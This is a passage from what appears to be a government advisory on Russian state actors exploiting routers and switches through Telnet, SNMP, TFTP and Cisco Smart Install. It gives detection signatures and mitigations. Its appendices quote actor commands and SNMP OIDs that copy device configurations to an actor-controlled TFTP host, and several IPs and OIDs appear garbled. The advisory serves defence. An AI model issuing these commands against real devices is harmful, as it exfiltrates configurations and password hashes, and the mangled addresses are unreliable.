Review network device logs and netflow data for indications of TCP Telnet-protocol traffic directed at port 23 on all network device hosts. Although Telnet may be directed at other ports (e.g., port 80, HTTP), port 23 is the primary target. Inspect any indication of Telnet sessions (or attempts). Because Telnet is an unencrypted protocol, session traffic will reveal command line interface (CLI) command sequences appropriate for the make and model of the device. CLI strings may reveal login procedures, presentation of user credentials, commands to display boot or running configuration, copying files and creation or destruction of GRE tunnels, etc. See Appendices A and B for CLI strings for Cisco and other vendors’ devices.
SNMP and TFTP
Review network device logs and netflow data for indications of UDP SNMP traffic directed at port 161/162 on all network-device hosts. Because SNMP is a management tool, any such traffic that is not from a trusted management host on an internal network should be investigated. Review the source address of SNMP traffic for indications of addresses that spoof the address space of the network. Review outbound network traffic from the network device for evidence of Internet-destined UDP TFTP traffic. Any correlation of inbound or spoofed SNMP closely followed by outbound TFTP should be cause for alarm and further inspection. See Appendix C for detection of the cyber actors’ SNMP tactics.
Because TFTP is an unencrypted protocol, session traffic will reveal strings associated with configuration data appropriate for the make and model of the device. See Appendices A and B for CLI strings for Cisco and other vendor’s devices.
SMI and TFTP
Review network device logs and netflow data for indications of TCP SMI protocol traffic directed at port 4786 of all network-device hosts. Because SMI is a management feature, any traffic that is not from a trusted management host on an internal network should be investigated. Review outbound network traffic from the network device for evidence of Internet-destined UDP TFTP traffic. Any correlation of inbound SMI closely followed by outbound TFTP should be cause for alarm and further inspection. Of note, between June 29 and July 6, 2017, Russian actors used the SMI protocol to scan for vulnerable network devices. Two Russian cyber actors controlled hosts 18.104.22.168(3) and 22.214.171.124(4), and connected to IPs on several network ranges on port 4786. See Appendix D for detection of the cyber actors’ SMI tactics.
Because TFTP is an unencrypted protocol, session traffic will reveal strings appropriate for the make and model of the device. See Appendices A and B for CLI strings for Cisco and other vendors’ devices.
Determine if SMI is present
- Examine the output of “show vstack config | inc Role”. The presence of “Role: Client (SmartInstall enabled)” indicates that Smart Install is configured.
- Examine the output of “show tcp brief all” and look for “*:4786”. The SMI feature listens on tcp/4786.
- Note: The commands above will indicate whether the feature is enabled on the device but not whether a device has been compromised.
Detect use of SMI
The following signature may be used to detect SMI usage. Flag as suspicious and investigate SMI traffic arriving from outside the network boundary. If SMI is not used inside the network, any SMI traffic arriving on an internal interface should be flagged as suspicious and investigated for the existence of an unauthorized SMI director. If SMI is used inside the network, ensure that the traffic is coming from an authorized SMI director, and not from a bogus director.
- alert tcp any any -> any 4786 (msg:”Smart Install Protocol”; flow:established,only_stream; content:”|00 00 00 01 00 00 00 01|”; offset:0; depth:8; fast_pattern;)
- See Cisco recommendations for detecting and mitigating SMI. 
Detect use of SIET
The following signatures detect usage of the SIET’s commands change_config, get_config, update_ios, and execute. These signatures are valid based on the SIET tool available as of early September 2017:
- alert tcp any any -> any 4786 (msg:”SmartInstallExploitationTool_UpdateIos_And_Execute”; flow:established; content:”|00 00 00 01 00 00 00 01 00 00 00 02 00 00 01 c4|”; offset:0; depth:16; fast_pattern; content:”://”;)
- alert tcp any any -> any 4786 (msg:”SmartInstallExploitationTool_ChangeConfig”; flow:established; content:”|00 00 00 01 00 00 00 01 00 00 00 03 00 00 01 28|”; offset:0; depth:16; fast_pattern; content:”://”;)
- alert tcp any any -> any 4786 (msg: “SmartInstallExploitationTool_GetConfig”; flow: established; content:”|00 00 00 01 00 00 00 01 00 00 00 08 00 00 04 08|”; offset:0; depth:16; fast_pattern; content:”copy|20|”;)
In general, exploitation attempts with the SIET tool will likely arrive from outside the network boundary. However, before attempting to tune or limit the range of these signatures, i.e. with $EXTERNAL_NET or $HOME_NET, it is recommended that they be deployed with the source and destination address ranges set to “any”. This will allow the possibility of detection of an attack from an unanticipated source, and may allow for coverage of devices outside of the normal scope of what may be defined as the $HOME_NET.
Inspect the presence of protocol 47 traffic flowing to or from unexpected addresses, or unexplained presence of GRE tunnel creation, modification, or destruction in log files.
There is a significant amount of publically available cybersecurity guidance and best practices from DHS, allied government, vendors, and the private-sector cybersecurity community on mitigation strategies for the exploitation vectors described above. The following are additional mitigations for network device manufacturers, ISPs, and owners or operators.
- Do not allow unencrypted (i.e., plaintext) management protocols (e.g. Telnet) to enter an organization from the Internet. When encrypted protocols such as SSH, HTTPS, or TLS are not possible, management activities from outside the organization should be done through an encrypted Virtual Private Network (VPN) where both ends are mutually authenticated.
- Do not allow Internet access to the management interface of any network device. The best practice is to block Internet-sourced access to the device management interface and restrict device management to an internal trusted and whitelisted host or LAN. If access to the management interface cannot be restricted to an internal trusted network, restrict remote management access via encrypted VPN capability where both ends are mutually authenticated. Whitelist the network or host from which the VPN connection is allowed, and deny all others.
- Disable legacy unencrypted protocols such as Telnet and SNMPv1 or v2c. Where possible, use modern encrypted protocols such as SSH and SNMPv3. Harden the encrypted protocols based on current best security practice. DHS strongly advises owners and operators to retire and replace legacy devices that cannot be configured to use SNMP V3.
- Immediately change default passwords and enforce a strong password policy. Do not reuse the same password across multiple devices. Each device should have a unique password. Where possible, avoid legacy password-based authentication, and implement two-factor authentication based on public-private keys. See NCCIC/US-CERT TA13-175A – Risks of Default Passwords on the Internet, last revised October 7, 2016.
- Do not design products to support legacy or unencrypted protocols. If this is not possible, deliver the products with these legacy or unencrypted protocols disabled by default, and require the customer to enable the protocols after accepting an interactive risk warning. Additionally, restrict these protocols to accept connections only from private addresses (i.e., RFC 1918).
- Do not design products with unauthenticated services. If this is not possible, deliver the products with these unauthenticated services disabled by default, and require the customer to enable the services after accepting an interactive risk warning. Additionally, these unauthenticated services should be restricted to accept connections only from private address space (i.e., RFC 1918).
- Design installation procedures or scripts so that the customer is required to change all default passwords. Encourage the use of authentication services that do not depend on passwords, such as RSA-based Public Key Infrastructure (PKI) keys.
- Because YARA has become a security-industry standard way of describing rules for detecting malicious code on hosts, consider embedding YARA or a YARA-like capability to ingest and use YARA rules on routers, switches, and other network devices.
- Produce and publish YARA rules for malware discovered on network devices.
- Do not field equipment in the network core or to customer premises with legacy, unencrypted, or unauthenticated protocols and services. When purchasing equipment from vendors, include this requirement in purchase agreements.
- Disable legacy, unencrypted, or unauthenticated protocols and services. Use modern encrypted management protocols such as SSH. Harden the encrypted protocols based on current best security practices from the vendor.
- Initiate a plan to upgrade fielded equipment no longer supported by the vendor with software updates and security patches. The best practice is to field only supported equipment and replace legacy equipment prior to it falling into an unsupported state.
- Apply software updates and security patches to fielded equipment. When that is not possible, notify customers about software updates and security patches and provide timely instructions on how to apply them.
Owners or operators
- Specify in contracts that the ISP providing service will only field currently supported network equipment and will replace equipment when it falls into an unsupported state.
- Specify in contracts that the ISP will regularly apply software updates and security patches to fielded network equipment or will notify and provide the customers the ability to apply them.
- Block TFTP from leaving the organization destined for Internet-based hosts. Network devices should be configured to send configuration data to a secured host on a trusted segment of the internal management LAN.
- Verify that the firmware and OS on each network device are from a trusted source and issued by the manufacturer. To validate the integrity of network devices, refer to the vendor’s guidance, tools, and processes. See Cisco’s Security Center for guidance to validate Cisco IOS firmware images.
- Cisco IOS runs in a variety of network devices under other labels, such as Linksys and SOHO Internet Gateway routers or firewalls as part of an Internet package by ISPs (e.g., Comcast). The indicators in Appendix A may be applicable to your device.
Refer to the vendor-specific guidance for the make and model of network device in operation.
For information on mitigating SNMP vulnerabilities, see
How to Mitigate SMI Abuse
- Configure network devices before installing onto a network exposed to the Internet. If SMI must be used during installation, disable SMI with the “no vstack” command before placing the device into operation.
- Prohibit remote devices attempting to cross a network boundary over TCP port 4786 via SMI.
- Prohibit outbound network traffic to external devices over UDP port 69 via TFTP.
- See Cisco recommendations for detecting and mitigating SMI. 
- Cisco IOS runs in a variety of network devices under other labels, such as Linksys and SOHO Internet Gateway routers or firewalls as part of an Internet package by ISPs (e.g., Comcast). Check with your ISP and ensure that they have disabled SMI before or at the time of installation, or obtain instructions on how to disable it.
How to Mitigate GRE Tunneling Abuse:
- Verify that all routing tables configured in each border device are set to communicate with known and trusted infrastructure.
- Verify that any GRE tunnels established from border routers are legitimate and are configured to terminate at trusted endpoints.
Operating System Fingerprinting is analyzing characteristics of packets sent by a target, such as packet headers or listening ports, to identify the operating system in use on the target. 
Spear phishing is an attempt by an individual or group to solicit personal information from unsuspecting users by employing social engineering techniques. Phishing emails are crafted to appear as if they were sent from a legitimate organization or known individual. These emails often attempt to entice users to click on a link that will take the user to a fraudulent website that appears legitimate. The user then may be asked to provide personal information, such as account usernames and passwords, which can further expose them to future compromises. 
In a watering hole attack, the attacker compromises a site likely to be visited by a particular target group, rather than attacking the target group directly. 
DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to NCCIC or law enforcement immediately. To request incident response resources or technical assistance, contact NCCIC at NCCICcustomerservice@hq.dhs.gov or 888-282-0870 and the FBI through a local field office or the FBI’s Cyber Division at CyWatch@fbi.gov or 855-292-3937. To request information from or report cyber incidents to UK authorities, contact NCSC at www.ncsc.gov.uk/contact.
Appendix A: Cisco Related Command and Configuration Strings
Commands associated with Cisco IOS. These strings may be seen in inbound network traffic of unencrypted management tools such as Telnet or HTTP, in the logs of application layer firewalls, or in the logs of network devices. Network device owners and operators should review the Cisco documentation of their particular makes and models for strings that would allow the owner or operator to customize the list for an Intrusion Detection System (IDS). Detecting commands from Internet-based hosts should be a cause for concern and further investigation. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.
‘sh bgp sum’
‘sho bgp sum’
‘show bgp sum’
‘sh ip route’
‘sho ip route’
‘show ip route’
‘sh nat trans’
‘sho nat trans’
‘show nat trans’
Strings associated with Cisco IOS configurations may be seen in the outbound network traffic of unencrypted management tools such as Telnet, HTTP, or TFTP. This is a subset of the possible strings. Network device owners and operators should export the configuration of their particular makes and models to a secure host and examine it for strings that would allow the owner or operator to customize the list for an IDS. Detecting outbound configuration data leaving an organization destined for Internet-based hosts should be a cause for concern and further investigation to ensure the destination is authorized to receive the configuration data. Because configuration data provides an adversary with information—such as the password hashes—to enable future attacks, configuration data should be encrypted between sender and receiver. Outbound configuration files may be triggered by SNMP queries and Cisco Smart Install commands. In such cases, the outbound file would be sent via TFTP. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.
BGP router identifier
boot system flash:
Cisco Internetwork Operating System
Cisco IOS Software,
Codes C ? connected, S ? static
Current configuration :
! Last configuration change at
! NVRAM config last updated at
line protocol is
loopback not set
ip access-list extended
Routing Bit Set on this LSA
ROM: Bootstrap program is
System image file is
boot system flash
Appendix B: Other Vendor Command and Configuration Strings
Russian state-sponsored cyber actors could potentially target the network devices from other manufacturers. Therefore, operators and owners should review the documentation associated with the make and model they have in operation to identify strings associated with administrative functions. Export the current configuration and identify strings associated with the configuration. Place the device-specific administrative and configuration strings into network-based and host-based IDS. Examples for Juniper JUNOS may include: “enable”, ”reload”, ”show”, ”set”, ”unset” ”file copy”, or ”request system scripts” followed by other expected parameters. Examples for MicroTic may include: “ip”, ”interface”, ”firewall”, ”password”, or ”ping”. See the documentation for your make and model for specific strings and parameters to place on watch.
These strings may be seen in inbound network traffic of unencrypted management tools such as Telnet or HTTP, in the logs of application layer firewalls or network devices. Detecting commands from Internet-based hosts should be a cause for concern and further investigation. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.
The following are important functions to monitor:
- displaying or exporting the current configuration
- copying files from the device to another host, especially a host outside the LAN or one not previously authorized
- copying files to the device from another host, especially a host outside the LAN or one not previously authorized
- changes to the configuration
- creation or destruction of GRE tunnels
Appendix C: SNMP Queries
- SNMP query containing any of the following from an external host
- show run
- show ip arp
- show version
- show ip route
- show neighbor detail
- show interface
- SNMP Command ID 126.96.36.199.188.8.131.52.96 with the TFTP server IP parameter of “184.108.40.206”
- SNMP and Cisco’s “config copy” management information base (MIB) object identifiers (OIDs) Command ID 220.127.116.11.18.104.22.168.96 with the TFTP server IP parameter of “22.214.171.124” and community strings of ”public” ”private” or ”anonymous”
|OID Name||OID Value||Meaning|
|126.96.36.199.188.8.131.52.184.108.40.206.1.2||1||Protocol type = TFTP|
|220.127.116.11.18.104.22.168.22.214.171.124.1.3||1||Source file type = network file|
|126.96.36.199.188.8.131.52.184.108.40.206.1.4||4||Destination file type = running config|
|220.127.116.11.18.104.22.168.22.214.171.124.1.5||126.96.36.199||TFTP server IP = 188.8.131.52|
|184.108.40.206.220.127.116.11.18.104.22.168.1.6||backup||File name = backup|
|22.214.171.124.126.96.36.199.188.8.131.52.1.14||4||Activate the status of the table entry|
- SNMP Command ID 184.108.40.206.220.127.116.11.96 with the TFTP server IP parameter 18.104.22.168
- SNMP v2c and v1 set-requests with the OID 22.214.171.124.126.96.36.199.1.55 with the TFTP server IP parameter “188.8.131.52”, using community strings “private” and “anonymous”
- The OID 184.108.40.206.220.127.116.11.18.104.22.168.41.3 is a request to transfer a copy of a router’s configuration to the IP address specified in the last four octets of the OID, in this case 22.214.171.124.
- Since late July 2016, 126.96.36.199 has been scanning thousands of IPs worldwide using SNMP.
- Between November 21 and 22, 2016, Russian cyber actors attempted to scan using SNMP version 2 Object Identifier (OID) 188.8.131.52.184.108.40.206.220.127.116.11.5 with a value of 18.104.22.168 and a community string of “public”. This command would cause vulnerable devices to exfiltrate configuration data to a specified IP address over TFTP; in this case, IP address 22.214.171.124.
- SNMP, TFTP, HTTP, Telnet, or SSH traffic to or from the following IPs
Appendix D: SMI Queries
Between June 29 and July 6, 2017, Russian actors used the Cisco Smart Install protocol to scan for vulnerable network devices. Two Russian cyber actor-controlled hosts, 126.96.36.199(3) and 188.8.131.52(4), connected to IPs on several network ranges on port 4786 and sent the following two commands:
- copy nvram:startup-config flash:/config.text
- copy nvram:startup-config tftp://[actor address]/[actor filename].conf
In early July 2017, the commands sent to targets changed slightly, copying the running configuration file instead of the startup configuration file. Additionally, the second command copies the file saved to flash memory instead of directly copying the configuration file.
- copy system:running-config flash:/config.text
- copy flash:/config.text tftp://[ actor address]/[actor filename].conf